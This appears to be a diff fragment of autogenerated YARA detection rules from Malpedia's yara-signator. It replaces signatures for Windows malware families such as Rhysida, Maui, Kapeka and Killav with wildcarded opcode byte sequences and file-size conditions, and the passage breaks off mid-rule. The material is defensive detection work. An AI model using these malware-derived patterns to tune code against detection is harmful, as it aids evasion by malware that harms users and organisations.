"6a2ca8a11a50086a2cefa0fa6fd58b658c3b7b35f75875da8a4dcf3d3e8baf00" score = 75 quality = 75 tags = "FILE" @@ -104482,32 +104888,38 @@ rule MALPEDIA_Win_Maoloa_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4c241c e8???????? 8bf0 83c404 85f6 7524 0f10842468010000 } - $sequence_1 = { 90 ff0f 8d4dd8 33d2 e8???????? 8bf0 85f6 } - $sequence_2 = { 53 ff15???????? 85c0 7595 53 } - $sequence_3 = { 8b4d0c 81ff00040000 7615 5f b8fcffffff 5b 8b4dfc } - $sequence_4 = { 897018 8bcb 895d08 c1e918 89581c 0fb69998f14200 8b4d08 } - $sequence_5 = { 8b45f4 8d1c9f 338310100000 81c710100000 314df0 8945f4 8b45ac } - $sequence_6 = { 8d4dd8 33d2 e8???????? 8bf0 85f6 0f85dc010000 837dbc01 } - $sequence_7 = { c3 8b4d9c 53 52 33d2 e8???????? } - $sequence_8 = { 8bc6 c1e002 50 8b85b4f8ffff 0fb70485cc444200 8d0485c83b4200 } - $sequence_9 = { 8bf0 6a08 6a08 89742430 e8???????? 83c410 } + $sequence_0 = { 7411 e8???????? e8???????? 33c0 e9???????? } + $sequence_1 = { eb07 b8fcffffff eb02 33c0 } + $sequence_2 = { e8???????? 99 b980ee3600 f7f9 } + $sequence_3 = { 83f801 7510 e8???????? e8???????? } + $sequence_4 = { 7407 b8f6ffffff eb02 33c0 } + $sequence_5 = { b8feffffff eb1a b8fdffffff eb13 b8fcffffff } + $sequence_6 = { 0385d0fbffff 8985d0fbffff 6a18 6a00 8d4de4 51 e8???????? } + $sequence_7 = { 0fb61401 52 b804000000 6bc000 } + $sequence_8 = { 83e80e 50 e8???????? 83c40c 85c0 7457 6a03 } + $sequence_9 = { 894110 8b550c 8b420c c1e803 50 68ff000000 8b4dfc } + $sequence_10 = { 0f8c8c000000 8b8df8fffdff 0fb6940dfafffdff 83fa3a } + $sequence_11 = { 83bdd0fbffff00 7568 6a0f 8b85e0fbffff 83e80f } + $sequence_12 = { 83f830 7c62 8b8df8fffdff 0fb6940dfefffdff } + $sequence_13 = { 8945fc c785f8fbffff00000000 c785e8fbffff00000000 8b4508 50 6a00 6810040000 } + $sequence_14 = { 0fbe0401 83f04d 88842486010000 b801000000 486bc037 } + $sequence_15 = { ff15???????? 837c246400 750a b801000000 e9???????? } condition: - 7 of them and filesize < 586752 + 7 of them and filesize < 3964928 } -rule MALPEDIA_Win_Skinnyboy_Auto : FILE +rule MALPEDIA_Win_Knight_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24a64f43-deef-557c-9fd6-67c28ce40905" + id = "5c56e315-5200-56d5-8f06-4a544e9166d5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skinnyboy_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knight" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.knight_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e1fe3c77c85dc8fb19abbee4d29db040d7e39adcf95610e368b642b3c9a51b2e" + logic_hash = "5179c3d4ae4d3eb009209c68a9fa6d8609b0788178a723a29c116931afb57a36" score = 75 quality = 75 tags = "FILE" @@ -104521,32 +104933,32 @@ rule MALPEDIA_Win_Skinnyboy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7403 50 ffd7 ffd3 6a00 } - $sequence_1 = { 0fb68098b20010 83e00f eb02 33c0 8bbdc4fdffff 6bc009 0fb6bc38b8b20010 } - $sequence_2 = { 668b444de4 6631444dd0 41 3bca 72f1 33c0 } - $sequence_3 = { 8d8278040110 8945e4 803800 8bc8 7435 8a4101 84c0 } - $sequence_4 = { 833cfdd80b011000 7515 68a00f0000 56 ff15???????? } - $sequence_5 = { 50 ffd6 8b85e0feffff 85c0 7403 50 } - $sequence_6 = { ffb55cfbffff ff15???????? 85c0 0f85d2feffff ffb55cfbffff ff15???????? ff33 } - $sequence_7 = { ff15???????? 8bf0 6a01 56 ff15???????? 8d4c2420 51 } - $sequence_8 = { 7413 8a8c1564feffff 308c15e4feffff 42 3bd0 72ed } - $sequence_9 = { ff15???????? 8d442430 50 ff15???????? 85c0 742d } + $sequence_0 = { eb7a 4889bc24a8010000 4889b424b0010000 c644243700 488b9424c8010000 488b02 ffd0 } + $sequence_1 = { e9???????? e8???????? 48898424d8000000 48899c2488000000 90 488d05b9951400 e8???????? } + $sequence_2 = { eb0a 488d3555d71700 4889c7 4c8b87c0000000 4c8b8fc8000000 0f1f4000 4d85c0 } + $sequence_3 = { eb1c 4889c7 488b8c24e0230000 e8???????? 488d3dcf083000 e8???????? 6690 } + $sequence_4 = { 4d3b6610 0f86a3010000 4881eca0000000 4889ac2498000000 488dac2498000000 48bae36f8e02db14e6c7 488954241f } + $sequence_5 = { 90 e8???????? e8???????? 4889c1 4889df 488d0589551f00 488b9c2400070000 } + $sequence_6 = { eb0c 488d3da69a4c00 e8???????? e8???????? 48891d???????? 833d????????00 7509 } + $sequence_7 = { ffc2 85d2 7d10 488d057e863800 31db 31c9 e8???????? } + $sequence_8 = { ffd1 4889842438010000 48899c2490000000 488d0517dd1700 e8???????? 488b8c2490000000 48894808 } + $sequence_9 = { e8???????? f20f108424f0000000 f20f108c24c0000000 0f57d2 660f2ed0 7613 f20f101d???????? } condition: - 7 of them and filesize < 176128 + 7 of them and filesize < 12149760 } -rule MALPEDIA_Win_Unidentified_088_Auto : FILE +rule MALPEDIA_Win_Unidentified_070_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b80a2357-b2b4-5f14-a95d-1e325e626d53" + id = "bc99ca5b-4d55-52a4-9778-97da0dfa2869" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_088_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_070_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "78ec2fb1a46515f7a2bd494609b3c1be4370bea522de5daa065ff46bd4f8b68d" + logic_hash = "2ece2222d59166146594c492cc62e3c6aa195983d54a5768c5b3c1160f95e1d0" score = 75 quality = 75 tags = "FILE" @@ -104560,32 +104972,32 @@ rule MALPEDIA_Win_Unidentified_088_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b0e e8???????? 89c7 31c0 85f6 7402 8b06 } - $sequence_1 = { 8b0a 0faf0e 01c6 e9???????? 3b5de0 0f8f78010000 8b470c } - $sequence_2 = { c74424085b040000 8b4dd4 ba???????? c7442404???????? c70424???????? e8???????? 83ec0c } - $sequence_3 = { 8b08 e8???????? 8945a0 8b4508 8b00 8b00 85c0 } - $sequence_4 = { c78564ffffff00000000 eb62 76bb 89c7 890424 c1ff1f c744241017000000 } - $sequence_5 = { b8a1b0b912 8b4dd0 83cbff 8901 85f6 0f849a000000 8b16 } - $sequence_6 = { c745d400000000 31db 8945bc 8b4dbc 394dd4 7c17 } - $sequence_7 = { e8???????? eb2e 898554ffffff e8???????? 8b8554ffffff 83f816 7ed2 } - $sequence_8 = { c21000 55 b9???????? 89e5 83ec08 e8???????? b9???????? } - $sequence_9 = { 83ec0c e8???????? 8b4dc0 8b5dc4 8d75d8 } + $sequence_0 = { 6a00 6a00 6a00 6a04 50 ff15???????? 8945fc } + $sequence_1 = { 6a04 50 ff15???????? 8945fc 85c0 } + $sequence_2 = { 6a00 6a00 6a04 50 ff15???????? 8945fc 85c0 } + $sequence_3 = { 6a00 6a04 50 ff15???????? 8945fc 85c0 } + $sequence_4 = { 6a00 6a04 50 ff15???????? 8945fc } + $sequence_5 = { 33c0 c20400 3b0d???????? 7502 } + $sequence_6 = { 6a00 6a00 6a04 50 ff15???????? 8945fc } + $sequence_7 = { 83f8ff 50 0f95c3 ff15???????? 8d85f4fdffff } + $sequence_8 = { 6a00 6a00 6800200000 6a01 8d8424e8000000 } + $sequence_9 = { 6a00 6a00 68???????? 8d85f4fdffff 50 6a00 } condition: - 7 of them and filesize < 919552 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Equationdrug_Auto : FILE +rule MALPEDIA_Win_Rhysida_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0821a935-fb15-5c3e-bb02-07988e07b501" + id = "56c97e20-7a99-5fbc-90fd-a6127fd088f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.equationdrug_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhysida_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "33511eccd2ca8c4746b8fc7fbb9655df57173691c00d0c7d16e68bf416563316" + logic_hash = "60516db4e2b578f830c415644222719cb56ab464473054de682480b20c1eaa3f" score = 75 quality = 75 tags = "FILE" @@ -104599,32 +105011,32 @@ rule MALPEDIA_Win_Equationdrug_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 751f 668b5c241c 66395c240c 7420 8d4c240c 46 51 } - $sequence_1 = { 8b4604 50 e8???????? 8b542430 8b4c2434 83c404 8d048a } - $sequence_2 = { 50 e8???????? 83c404 84c0 7507 b812060000 5e } - $sequence_3 = { 89742468 e8???????? 6a40 899c24bc030000 e8???????? 83c404 89442440 } - $sequence_4 = { 8b4618 50 8944240c e8???????? 33ff 897e18 897e1c } - $sequence_5 = { 8bc5 5e 5d 5b 81c498000000 c3 5f } - $sequence_6 = { 0f8578010000 8b9424f8000000 83c9ff 8bfa f2ae f7d1 51 } - $sequence_7 = { 85c0 66a5 7409 50 e8???????? 83c404 8b4c2418 } - $sequence_8 = { 5f 8930 5e 8919 5d 33c0 5b } - $sequence_9 = { 8b4c2414 83c408 897e08 897e0c 897e10 5f 5e } + $sequence_0 = { 4183c201 4883c108 4d8d3404 4889c5 4d89f4 49c1ec3c 4539d0 } + $sequence_1 = { 488b4510 8b4004 85c0 750a 488b4510 8b5520 895024 } + $sequence_2 = { f30f5e45fc f30f1145f8 488b4518 f30f1000 f30f5945f8 f30f2cc0 89c2 } + $sequence_3 = { 8d7802 430fb60c2a 43300c2b 448d6803 410fb62c12 450fb6043a 41302c13 } + $sequence_4 = { eb18 8b8598000000 898588000000 8b8594000000 898584000000 8b85b4000000 8d5001 } + $sequence_5 = { 41c1e818 46332483 4189e8 45332492 0fb6d4 44332491 4531e0 } + $sequence_6 = { 85d2 0f8f92050000 ba01000000 bd01000000 4531db 4d63cb 49beffffffffffffff0f } + $sequence_7 = { ffd0 c7850c11000000000000 c7850811000000000000 c7850411000000000000 c785dc0d000000000000 c785d80d000000000000 83bd4811000002 } + $sequence_8 = { c1e903 f348ab ff15???????? 83f812 7472 488b8b38020000 e8???????? } + $sequence_9 = { 4589542408 33460c 8b742444 418b2cb3 448b742458 81e5000000ff 478b1cb3 } condition: - 7 of them and filesize < 449536 + 7 of them and filesize < 2369536 } -rule MALPEDIA_Win_Unidentified_037_Auto : FILE +rule MALPEDIA_Win_Xxmm_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "96c11217-51d7-5f4b-bf36-23d830fdb069" + id = "800c8101-0763-52f5-a1e9-65fcf4499abd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_037_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xxmm_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "8c50fe3091c6eb5a168263d841c7329778565aaf5d56b9bbcef638ccc0102861" + logic_hash = "b2b78d64096201d10c34f38aaeb6c676ad8ec13dc60f928c2884568102dbff1f" score = 75 quality = 75 tags = "FILE" @@ -104638,32 +105050,32 @@ rule MALPEDIA_Win_Unidentified_037_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { fec8 8801 eb09 51 e8???????? 83c404 899ef4000000 } - $sequence_1 = { eb63 a802 7462 68???????? eb58 663d0900 7524 } - $sequence_2 = { b9ff010000 33c0 8dbc242e080000 f3ab 66ab 8d44242c 50 } - $sequence_3 = { 8b35???????? 3bf5 0f8439010000 8b0d???????? b8c12787cb 2bce f7e9 } - $sequence_4 = { e8???????? 68???????? 68???????? 6802000080 e8???????? e8???????? a1???????? } - $sequence_5 = { 51 52 e8???????? 8d85cce0ffff 56 50 } - $sequence_6 = { 885e40 895c2418 884e44 895e48 895e4c 895e50 } - $sequence_7 = { 897dcc 3bfe c645fc04 742f 68???????? 897704 c7470801000000 } - $sequence_8 = { 51 ff15???????? 8d94241c020000 6a00 } - $sequence_9 = { ff15???????? 56 bf01000000 ff15???????? 56 ff15???????? 8bc7 } + $sequence_0 = { 895d08 47 81e7ff000080 7908 } + $sequence_1 = { 8a0408 8b55fc 320432 8806 46 ff4d08 759b } + $sequence_2 = { 23c3 013c08 eb1e 6683ff01 } + $sequence_3 = { 8b45f4 83c704 85c0 7406 } + $sequence_4 = { 7580 8b45f8 2b4634 83bea400000000 8945fc 0f8481000000 8b96a0000000 } + $sequence_5 = { 8d040f 0fb610 035510 81e2ff000080 7908 } + $sequence_6 = { 3bc1 0f8568feffff 8b733c 6a40 6800300000 03f3 ff7650 } + $sequence_7 = { 23c3 66013c08 8b45e0 8345f402 85c0 } + $sequence_8 = { 77b7 8b45f0 8b5dfc 33c9 394de4 7414 } + $sequence_9 = { 8945fc e8???????? 8b45fc 6800240000 bf???????? 03c3 57 } condition: - 7 of them and filesize < 167936 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Icexloader_Auto : FILE +rule MALPEDIA_Win_Kapeka_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9728ecc3-5098-572d-97ec-dd9f0ce4c650" + id = "7a97f5ec-4398-5b2b-8ee0-712591242f63" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icexloader_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kapeka" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kapeka_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "b722e25be5e83e6d5656f0c81a7b7a7da3a63f2b0bd49196ee8eb2c89a1c5431" + logic_hash = "3423309dd00c2032617bc59ad3fa8dc9a6be83aaab30c6da6deeede3840c0066" score = 75 quality = 75 tags = "FILE" @@ -104677,32 +105089,32 @@ rule MALPEDIA_Win_Icexloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd7 890424 ffd6 c744240400800000 890424 ffd3 83c41c } - $sequence_1 = { 807de47e 0fb6d8 0f85d9000000 eb53 8b1e 83eb05 39da } - $sequence_2 = { c705????????04000000 c705????????04000000 66c705????????1503 c705????????00c64300 c705????????04000000 c705????????04000000 } - $sequence_3 = { e8???????? 85c0 7405 833800 7515 c70424???????? } - $sequence_4 = { 89d3 e8???????? 85c0 740f 837cd87800 7406 8d44d878 } - $sequence_5 = { 46 e8???????? 89da e8???????? ebc8 83c41c 5b } - $sequence_6 = { 8b00 85c0 7405 8b00 8945d4 c645db00 31ff } - $sequence_7 = { 89c6 e8???????? 8b55e4 895c2408 89f3 c744241c00000000 c744241800000000 } - $sequence_8 = { 8d4314 e8???????? 8d4310 e8???????? 58 89d9 5b } - $sequence_9 = { 89e5 83ec10 8b4508 83c014 8945fc 8b4508 8b4010 } + $sequence_0 = { 498bcf e8???????? 488d15a8530100 488bc8 e8???????? ba02100000 488d4d10 } + $sequence_1 = { 488bda 488bf9 e8???????? 488bd3 48895f28 488bcf e8???????? } + $sequence_2 = { 488bc8 e8???????? 488be8 eb03 488bef 488d4c2420 e8???????? } + $sequence_3 = { 4803c8 e8???????? 488b442468 488b4c2460 482bc1 } + $sequence_4 = { 418bc3 c1e810 0fb6c8 418bbc9470dd0100 4133bc8c70d90100 8bc6 48c1e818 } + $sequence_5 = { 8d4f01 e8???????? 488b4b10 488903 48894308 488b5328 } + $sequence_6 = { 57 4154 4157 4883ec70 488bf9 4c8d252b470100 4c8921 } + $sequence_7 = { e8???????? 488bcb e8???????? 488b5c2430 48894728 4883c420 5f } + $sequence_8 = { 418bc2 c1e810 0fb6c8 418bc3 418bb49670dd0100 48c1e818 4133b48e70d90100 } + $sequence_9 = { 488b442468 4c894138 4533c0 48895158 33d2 48894150 4c894940 } condition: - 7 of them and filesize < 656384 + 7 of them and filesize < 377856 } -rule MALPEDIA_Win_Unidentified_115_Auto : FILE +rule MALPEDIA_Win_Parasite_Http_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3a1ba5f2-6d8b-53d1-afa7-3efb81c22fc0" + id = "428f5b1a-bef9-53b1-98cc-8fc8771086ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_115" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_115_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.parasite_http_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "6028b5eb1b27194aba70c1eb50e5d4032510571ea08ddcbdb15ab7d8877e12da" + logic_hash = "17acd197a87921b670f888ee97c4d2fb4638cc1589bba3924516c4ae4f9f894f" score = 75 quality = 75 tags = "FILE" @@ -104716,32 +105128,32 @@ rule MALPEDIA_Win_Unidentified_115_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488945f0 488b05???????? 488945f8 ff15???????? 488d0d72f80000 ff15???????? } - $sequence_1 = { 488d0d8f150100 eb62 488b1d???????? 4c8d4c2428 ba01000000 4889c1 41b840000000 } - $sequence_2 = { 488b13 4889f1 4883c308 e8???????? ebea 4881c420010000 5b } - $sequence_3 = { ffd3 488d1590f60100 4889c1 e8???????? b901000000 e8???????? 90 } - $sequence_4 = { 48893d???????? 498dbe50010000 48891d???????? 488d1d80dc0300 4c891d???????? 4c8d1d72e10300 } - $sequence_5 = { 483346f0 4889842490000000 e9???????? 488b3a 4883c208 4889f8 4989fc } - $sequence_6 = { 488b15???????? 4c89e1 e8???????? 4989c4 e9???????? 488b43f0 488d53f0 } - $sequence_7 = { 488b03 4989df 4889fa 4885c0 7403 488b10 498b4f08 } - $sequence_8 = { 4c8d2d33db0200 e8???????? 4c89e9 4889c2 e8???????? 488b0d???????? ba18000000 } - $sequence_9 = { 89dd c1c507 4431d5 448b9424d8000000 428db416708b4bc2 4189da 01ee } + $sequence_0 = { 83c602 43 3b5df4 72e6 8b7de4 eb07 8bcf } + $sequence_1 = { ff75f4 6aff ff15???????? 5f 5e 8bc3 5b } + $sequence_2 = { 8d95d4fdffff c785d4fdffff2c020000 8bce e8???????? e9???????? e8???????? 8b8ddcfdffff } + $sequence_3 = { 85c9 7405 e8???????? 5e 8bc3 5b 5f } + $sequence_4 = { ff7508 6801000040 57 53 ffd0 f7d8 5f } + $sequence_5 = { ff7510 6aff ff7508 6a00 68e9fd0000 ffd0 5e } + $sequence_6 = { ff55f0 8945e0 837de000 0f84eb000000 ff75ec 6a00 ff55e8 } + $sequence_7 = { e8???????? 8bd6 8bc8 e8???????? ff751c ff7518 } + $sequence_8 = { 6a00 6a00 681f000f00 57 ffd0 5f 5e } + $sequence_9 = { 8d8df8efffff 51 ffd0 5e 85c0 7917 b9???????? } condition: - 7 of them and filesize < 648192 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Maui_Auto : FILE +rule MALPEDIA_Win_Killav_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c8e2f403-ec0e-5c62-bc65-b773780a2de5" + id = "964918fc-ee46-54ff-896b-e1283f7b0e40" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maui_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.killav_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "7f30138f7904f9e137800e0205092628d325a3b69e4098e86eb63774c736d746" + logic_hash = "8efc8b29b31fba331f15fc6d418a70e9cc051d66f52514c3f27af471a4a7b82f" score = 75 quality = 75 tags = "FILE" @@ -104755,32 +105167,32 @@ rule MALPEDIA_Win_Maui_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85ff 7505 49 85c9 7ff2 894e04 5f } - $sequence_1 = { 85f6 7479 6a00 e8???????? 8d4c240c 51 89442410 } - $sequence_2 = { 241c 51 57 e8???????? 83c418 85c0 } - $sequence_3 = { 50 53 e8???????? 83c408 85c0 0f84a2000000 83c602 } - $sequence_4 = { 68d7020000 68???????? 6886000000 68a3000000 6a06 c7450000000000 e8???????? } - $sequence_5 = { 894c2420 0fb60f bd07010000 897c241c 66852c48 7431 0fb64f01 } - $sequence_6 = { 41 57 51 e8???????? 83c40c 85c0 0f84d9000000 } - $sequence_7 = { e8???????? a3???????? e8???????? 85c0 7d09 e8???????? 85c0 } - $sequence_8 = { 8b5c2410 55 8b6c241c 57 8b7c241c 81fd00000040 724e } - $sequence_9 = { 3bca 741f 8b4624 3bc2 7418 894c2418 895620 } + $sequence_0 = { e8???????? 83c408 6a09 33c0 c745d800000000 68???????? 8d4dd8 } + $sequence_1 = { 51 e8???????? 83c408 6a13 33c0 c745d800000000 68???????? } + $sequence_2 = { 85c0 0f84b7910000 83f808 7d0f 6bc018 05???????? } + $sequence_3 = { eb1a 8b4508 8bc8 83e03f c1f906 6bd038 8b0c8d70ba4300 } + $sequence_4 = { 8b0c8d70ba4300 804c112802 5b 2bf7 83e6fe 5f 8bc6 } + $sequence_5 = { 895db8 c745dc01000000 8b048570ba4300 8945d4 0f8533010000 8b55d4 8bc3 } + $sequence_6 = { 8b0b 8b4904 6a00 ff75dc ff75e8 } + $sequence_7 = { 0fb74d08 33c0 663b88bcf34200 740d 83c002 83f814 } + $sequence_8 = { c645fc15 50 8d4dd0 e8???????? c645fc00 } + $sequence_9 = { 741c 81f900000400 7542 0c80 88441628 8b04bd70ba4300 c644102901 } condition: - 7 of them and filesize < 1616896 + 7 of them and filesize < 517120 } -rule MALPEDIA_Win_Puzzlemaker_Auto : FILE +rule MALPEDIA_Win_Flusihoc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "62794821-c42e-5220-ad0d-6e7823ce4882" + id = "70e43055-e110-5f44-83f7-dea02c83279f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.puzzlemaker_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flusihoc_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "e75d1e0c1e55c34f83f0daa3660ed41869121e99648bc4cb3b1da2986e8ecbae" + logic_hash = "03055e982040b1f87a417ce4ea912aa6346f4a9287782a46033bfb1539ddc34d" score = 75 quality = 75 tags = "FILE" @@ -104794,32 +105206,38 @@ rule MALPEDIA_Win_Puzzlemaker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c74078feffffff 83ffff 0f8c60040000 41837e0800 4c8d05b7b6ffff } - $sequence_1 = { 4883ec20 8bfa 4c8d0d25a00000 488bd9 488d151ba00000 b916000000 4c8d0507a00000 } - $sequence_2 = { 448bc0 4c8d157d0a0200 0f1f4000 660f1f840000000000 410fb6d0 420fb60c12 } - $sequence_3 = { 488905???????? 4885c0 7551 488b0d???????? 488d157c160200 } - $sequence_4 = { 4c8d0d3da30000 33c9 4c8d0530a30000 488d1531a30000 e8???????? 4885c0 } - $sequence_5 = { ff15???????? 4c8be0 4c896ddf 488b4dc7 488b11 4c8b5230 } - $sequence_6 = { e8???????? 488db328010000 bd06000000 488d7b38 488d05462d0100 } - $sequence_7 = { 84c0 7421 4885db 750b 488d1d83f20000 48895f48 4863d6 } - $sequence_8 = { 7410 41ffc0 4983c102 4181f880000000 72e1 448bc0 } - $sequence_9 = { 418bd2 4d8b8cc7f02b0200 498bfa 4b8d04f1 443854383e } + $sequence_0 = { 740b 40 8816 8a1408 46 } + $sequence_1 = { 8b442410 6aff 50 ff15???????? 8b4c2410 } + $sequence_2 = { 57 6a40 8d442428 6a00 50 c744242c44000000 e8???????? } + $sequence_3 = { f3a5 c684246402000000 e8???????? 68d6000000 } + $sequence_4 = { 7507 80864d01000004 83f822 7506 fe8e42010000 } + $sequence_5 = { 8bec 83e4f8 81ece40b0000 a1???????? 33c4 898424e00b0000 53 } + $sequence_6 = { 8d7c2428 50 f3a5 c684246401000000 } + $sequence_7 = { 33c0 888c045e010000 8a4c042c 40 } + $sequence_8 = { 8b8c24ec0b0000 5f 5e 5b 33cc 33c0 e8???????? } + $sequence_9 = { ff15???????? 8b4c2410 51 ffd6 8b542414 52 ffd6 } + $sequence_10 = { fe06 fe461e 3d68010000 7505 fe06 fe4e17 } + $sequence_11 = { 52 ffd6 6a0a ff15???????? } + $sequence_12 = { 8b8df4feffff 6804010000 8d85f8feffff 50 6a01 } + $sequence_13 = { 8b95f4feffff 52 ff15???????? 8b4dfc 33cd 33c0 } + $sequence_14 = { 51 6a00 ff15???????? 8d95f4feffff 52 6806000200 } + $sequence_15 = { 6a00 68???????? 6802000080 ff15???????? 85c0 752f } condition: - 7 of them and filesize < 331776 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Pubload_Auto : FILE +rule MALPEDIA_Win_Pay2Key_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb3eb2a3-33cb-52f0-8b9b-1e92524c642b" + id = "8e07d004-8ab0-5ac0-b5f3-02a0577c17ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pubload" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pubload_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pay2key_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "cbebb262e4f807799c3d6fba9199253493785b2d8970bb9dd2ccb71611e2a01f" + logic_hash = "bffaa691493d14e2f3352a01cee177c0e343912969f9938647f417173ef48232" score = 75 quality = 75 tags = "FILE" @@ -104833,32 +105251,32 @@ rule MALPEDIA_Win_Pubload_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 33c9 68???????? 66894802 } - $sequence_1 = { ff15???????? 68???????? 6a00 6a00 6a00 ff15???????? c3 } - $sequence_2 = { 6804010000 68???????? 6a00 ff15???????? 6a5c } - $sequence_3 = { ff15???????? 6a5c 68???????? e8???????? 83c408 33c9 68???????? } - $sequence_4 = { 83c408 33c9 68???????? 66894802 ff15???????? } - $sequence_5 = { 6803001f00 ff15???????? 85c0 7408 6a00 ff15???????? 68???????? } - $sequence_6 = { 68???????? 6a00 6a00 6a00 ff15???????? c3 } - $sequence_7 = { 68???????? 6a00 ff15???????? 6a5c 68???????? e8???????? 83c408 } - $sequence_8 = { 68???????? e8???????? 83c408 33c9 68???????? } - $sequence_9 = { 6a00 6a00 6a00 ff15???????? c3 } + $sequence_0 = { c707???????? 5f 5e 8be5 5d c3 c6470400 } + $sequence_1 = { 0f8412000000 83a50ce6fffffe 